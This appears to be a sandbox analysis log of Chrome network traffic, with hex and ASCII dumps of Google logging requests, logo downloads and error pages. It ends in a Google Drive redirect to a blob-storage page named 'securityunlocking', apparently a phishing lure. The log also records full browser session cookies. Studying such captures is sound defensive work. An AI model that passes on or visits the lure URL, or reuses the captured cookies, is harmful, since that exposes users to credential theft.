2024-12-20 00:16:48 UTC	981	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 6148 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:16:48 UTC	6148	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 39 2c 5b 5b 22 31 37 33 34 36 35 33 38 30 35 34 32 32 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],189,[["1734653805422",null,null,null,
2024-12-20 00:16:48 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:16:48 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 00:16:48 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:16:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49806	142.250.181.132	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:16:48 UTC	981	OUT	GET /images/branding/googlelogo/1x/googlelogo_color_150x54dp.png HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:16:49 UTC	671	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: image/png Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 3170 Date: Fri, 20 Dec 2024 00:16:49 GMT Expires: Fri, 20 Dec 2024 00:16:49 GMT Cache-Control: private, max-age=31536000 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:16:49 UTC	719	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 36 08 06 00 00 00 25 1d 60 0c 00 00 0c 29 49 44 41 54 78 da ed 5d 0b 70 54 d5 19 3e 98 6c 00 1f 88 da 97 b5 82 62 ad 14 28 48 76 37 20 44 37 f7 6e 08 38 83 a2 a5 b4 56 ab a5 48 5f 82 52 3b 53 1f 68 59 60 77 13 28 b6 d5 2a b6 4e 5f 52 ab 22 30 60 a9 2d e6 41 a9 1d 7c b4 2a 4e c5 fa 60 b0 a8 80 ec 6e 02 84 7b ef 26 90 84 6c ff 6f e0 0e 3b 9b ff de bd 8f 84 61 9a f3 cd 9c d9 64 ef dd 24 e7 f0 9d ff f1 fd ff b9 08 09 09 09 89 fe 89 e9 b1 dc e9 4a 9d 31 ae 2a 91 9d a1 d4 1a 37 2b 09 63 8e 9a d4 6f a0 a1 54 2f cf 7e 56 e4 72 03 84 84 84 13 44 eb da 47 a8 49 63 11 91 e7 e5 aa b8 d6 45 5f e7 ac 46 55 52 db a3 26 f4 df 55 25 8c a9 b1 58 ee 34 21 21 51 88 48 22 3b 91 c8 f4 1c 08 e3 65 28 49 63 07 Data Ascii: PNGIHDR6%`)IDATx]pT>lb(Hv7 D7n8VH_R;ShY`w(N_R"0`-A\|N`n{&lo;ad$J1*7+coT/~VrDGIcE_FUR&U%X4!!QH";e(Ic
2024-12-20 00:16:49 UTC	1390	IN	Data Raw: df d8 08 c8 2f 44 6b db ae 38 9e 54 fd 99 be 7f 2b 7f f8 25 56 73 34 14 ce 44 43 1b 52 d1 60 a7 f5 5a 06 df c2 e6 05 c1 bc 0a a2 1f 30 13 5b 29 4e 21 a4 ab 83 95 19 25 fc 3e 26 ec 62 ec 24 92 4d 12 0e d1 d1 50 1a 21 c2 fc 97 21 92 1d c1 de 27 4b 76 a5 e3 b5 4e 64 af a1 b5 6d 76 52 fa 3a 96 4c e9 0b e8 eb 77 0b af 79 25 d6 8e 69 9f 1f 48 eb f2 b0 bb 75 0c d5 ef 89 86 cf 73 dd 53 65 31 b1 5b c5 29 02 22 c7 cd 29 25 d8 85 49 ba 1d d8 91 f8 bc 28 82 23 4d 81 d9 34 ba 40 16 b7 03 9f 23 17 f9 cd e2 1b 58 9f e7 84 50 3c c1 fc 13 6b df 94 b1 67 a4 95 f0 16 4f eb a8 86 df 49 a9 13 3e 2d 9c 02 a2 27 1f 5f e9 51 e1 12 54 ea 79 0f 3d 5a 9e 47 52 7b 5d 14 80 26 74 7d 2a 1a ee c6 e4 bc 8e 94 12 3e 4a 04 9b 21 2c d0 d9 58 36 f3 48 43 a0 1b 24 f1 3a 8e 7d be ec 7a bb da Data Ascii: /Dk8T+%Vs4DCR`Z0[)N!%>&b$MP!!'KvNdmvR:Lwy%iHusSe1[)")%I(#M4@#XP<kgOI>-'_QTy=ZGR{]&t}*>J!,X6HC$:}z
2024-12-20 00:16:49 UTC	1061	IN	Data Raw: ab 50 1a 37 9a 50 9e f0 62 0d d1 67 44 a4 6d b3 e8 52 9d 27 0a 80 0c 90 57 cf 83 f3 85 03 40 9a e0 3e 0f 51 30 cf 8d 8d 03 11 18 1d ea 36 e1 00 74 df 9d 6c 69 a7 3e 30 e6 84 85 36 ca 2d d6 73 a1 28 82 e0 63 b9 00 e9 89 af f4 89 40 0a 0f a0 56 28 a2 38 b0 c9 6f 43 dc d5 5c 13 1c e9 cf 25 26 8c 47 6d ca 2e 59 22 c2 4f 6a e2 6d 17 8a 22 40 f0 8a 62 36 7a 8b ac 7f 9e be d1 aa ac 01 cd 89 31 dd 5d e8 11 2a a2 5f cd c6 7d 4c 91 f5 2f 8c 5c d0 c8 65 75 d4 ad 60 2b 09 a0 9b 81 eb 86 a0 f7 36 89 02 70 f3 c7 b9 4d 25 ae 7f dd f6 54 53 42 fb 83 df 92 8e 29 2b c0 42 31 e4 6a a6 8e 85 b1 c2 06 a8 bf a2 62 61 66 d4 10 4f 1d 5a 2f 9e 10 78 4a 4c d1 56 8e b8 b1 15 19 0b 74 19 f4 c6 a3 be 88 7e 23 fa ec 7c 94 2c 68 61 76 db fd 0c ec c6 48 2c 6d 29 b4 c1 6a 99 b2 03 33 d6 Data Ascii: P7PbgDmR'W@>Q06tli>06-s(c@V(8oC\%&Gm.Y"Ojm"@b6z1]*_}L/\eu`+6pM%TSB)+B1jbafOZ/xJLVt~#\|,havH,m)j3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49811	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:16:50 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:16:51 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Fri, 20 Dec 2024 00:16:50 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:16:51 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-20 00:16:51 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49817	172.217.19.228	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:16:51 UTC	703	OUT	GET /images/branding/googlelogo/1x/googlelogo_color_150x54dp.png HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:16:52 UTC	671	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: image/png Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 3170 Date: Fri, 20 Dec 2024 00:16:52 GMT Expires: Fri, 20 Dec 2024 00:16:52 GMT Cache-Control: private, max-age=31536000 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:16:52 UTC	719	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 36 08 06 00 00 00 25 1d 60 0c 00 00 0c 29 49 44 41 54 78 da ed 5d 0b 70 54 d5 19 3e 98 6c 00 1f 88 da 97 b5 82 62 ad 14 28 48 76 37 20 44 37 f7 6e 08 38 83 a2 a5 b4 56 ab a5 48 5f 82 52 3b 53 1f 68 59 60 77 13 28 b6 d5 2a b6 4e 5f 52 ab 22 30 60 a9 2d e6 41 a9 1d 7c b4 2a 4e c5 fa 60 b0 a8 80 ec 6e 02 84 7b ef 26 90 84 6c ff 6f e0 0e 3b 9b ff de bd 8f 84 61 9a f3 cd 9c d9 64 ef dd 24 e7 f0 9d ff f1 fd ff b9 08 09 09 09 89 fe 89 e9 b1 dc e9 4a 9d 31 ae 2a 91 9d a1 d4 1a 37 2b 09 63 8e 9a d4 6f a0 a1 54 2f cf 7e 56 e4 72 03 84 84 84 13 44 eb da 47 a8 49 63 11 91 e7 e5 aa b8 d6 45 5f e7 ac 46 55 52 db a3 26 f4 df 55 25 8c a9 b1 58 ee 34 21 21 51 88 48 22 3b 91 c8 f4 1c 08 e3 65 28 49 63 07 Data Ascii: PNGIHDR6%`)IDATx]pT>lb(Hv7 D7n8VH_R;ShY`w(N_R"0`-A\|N`n{&lo;ad$J1*7+coT/~VrDGIcE_FUR&U%X4!!QH";e(Ic
2024-12-20 00:16:52 UTC	1390	IN	Data Raw: df d8 08 c8 2f 44 6b db ae 38 9e 54 fd 99 be 7f 2b 7f f8 25 56 73 34 14 ce 44 43 1b 52 d1 60 a7 f5 5a 06 df c2 e6 05 c1 bc 0a a2 1f 30 13 5b 29 4e 21 a4 ab 83 95 19 25 fc 3e 26 ec 62 ec 24 92 4d 12 0e d1 d1 50 1a 21 c2 fc 97 21 92 1d c1 de 27 4b 76 a5 e3 b5 4e 64 af a1 b5 6d 76 52 fa 3a 96 4c e9 0b e8 eb 77 0b af 79 25 d6 8e 69 9f 1f 48 eb f2 b0 bb 75 0c d5 ef 89 86 cf 73 dd 53 65 31 b1 5b c5 29 02 22 c7 cd 29 25 d8 85 49 ba 1d d8 91 f8 bc 28 82 23 4d 81 d9 34 ba 40 16 b7 03 9f 23 17 f9 cd e2 1b 58 9f e7 84 50 3c c1 fc 13 6b df 94 b1 67 a4 95 f0 16 4f eb a8 86 df 49 a9 13 3e 2d 9c 02 a2 27 1f 5f e9 51 e1 12 54 ea 79 0f 3d 5a 9e 47 52 7b 5d 14 80 26 74 7d 2a 1a ee c6 e4 bc 8e 94 12 3e 4a 04 9b 21 2c d0 d9 58 36 f3 48 43 a0 1b 24 f1 3a 8e 7d be ec 7a bb da Data Ascii: /Dk8T+%Vs4DCR`Z0[)N!%>&b$MP!!'KvNdmvR:Lwy%iHusSe1[)")%I(#M4@#XP<kgOI>-'_QTy=ZGR{]&t}*>J!,X6HC$:}z
2024-12-20 00:16:52 UTC	1061	IN	Data Raw: ab 50 1a 37 9a 50 9e f0 62 0d d1 67 44 a4 6d b3 e8 52 9d 27 0a 80 0c 90 57 cf 83 f3 85 03 40 9a e0 3e 0f 51 30 cf 8d 8d 03 11 18 1d ea 36 e1 00 74 df 9d 6c 69 a7 3e 30 e6 84 85 36 ca 2d d6 73 a1 28 82 e0 63 b9 00 e9 89 af f4 89 40 0a 0f a0 56 28 a2 38 b0 c9 6f 43 dc d5 5c 13 1c e9 cf 25 26 8c 47 6d ca 2e 59 22 c2 4f 6a e2 6d 17 8a 22 40 f0 8a 62 36 7a 8b ac 7f 9e be d1 aa ac 01 cd 89 31 dd 5d e8 11 2a a2 5f cd c6 7d 4c 91 f5 2f 8c 5c d0 c8 65 75 d4 ad 60 2b 09 a0 9b 81 eb 86 a0 f7 36 89 02 70 f3 c7 b9 4d 25 ae 7f dd f6 54 53 42 fb 83 df 92 8e 29 2b c0 42 31 e4 6a a6 8e 85 b1 c2 06 a8 bf a2 62 61 66 d4 10 4f 1d 5a 2f 9e 10 78 4a 4c d1 56 8e b8 b1 15 19 0b 74 19 f4 c6 a3 be 88 7e 23 fa ec 7c 94 2c 68 61 76 db fd 0c ec c6 48 2c 6d 29 b4 c1 6a 99 b2 03 33 d6 Data Ascii: P7PbgDmR'W@>Q06tli>06-s(c@V(8oC\%&Gm.Y"Ojm"@b6z1]*_}L/\eu`+6pM%TSB)+B1jbafOZ/xJLVt~#\|,havH,m)j3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49819	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:16:52 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:16:53 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Fri, 20 Dec 2024 00:16:53 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:16:53 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-20 00:16:53 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49822	142.250.181.132	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:16:53 UTC	1182	OUT	GET /url?q=https://securityunlocking.blob.core.windows.net/process/complete.html?48tq2&sa=D&source=apps-viewer-frontend&ust=1734740205635330&usg=AOvVaw2_wNFQ9Pr6fAuY3NIrdBAp&hl=en HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:16:53 UTC	414	IN	HTTP/1.1 200 OK Location: https://securityunlocking.blob.core.windows.net/process/complete.html?48tq2 Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Permissions-Policy: unload=() Date: Fri, 20 Dec 2024 00:16:53 GMT Server: gws Content-Length: 481 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
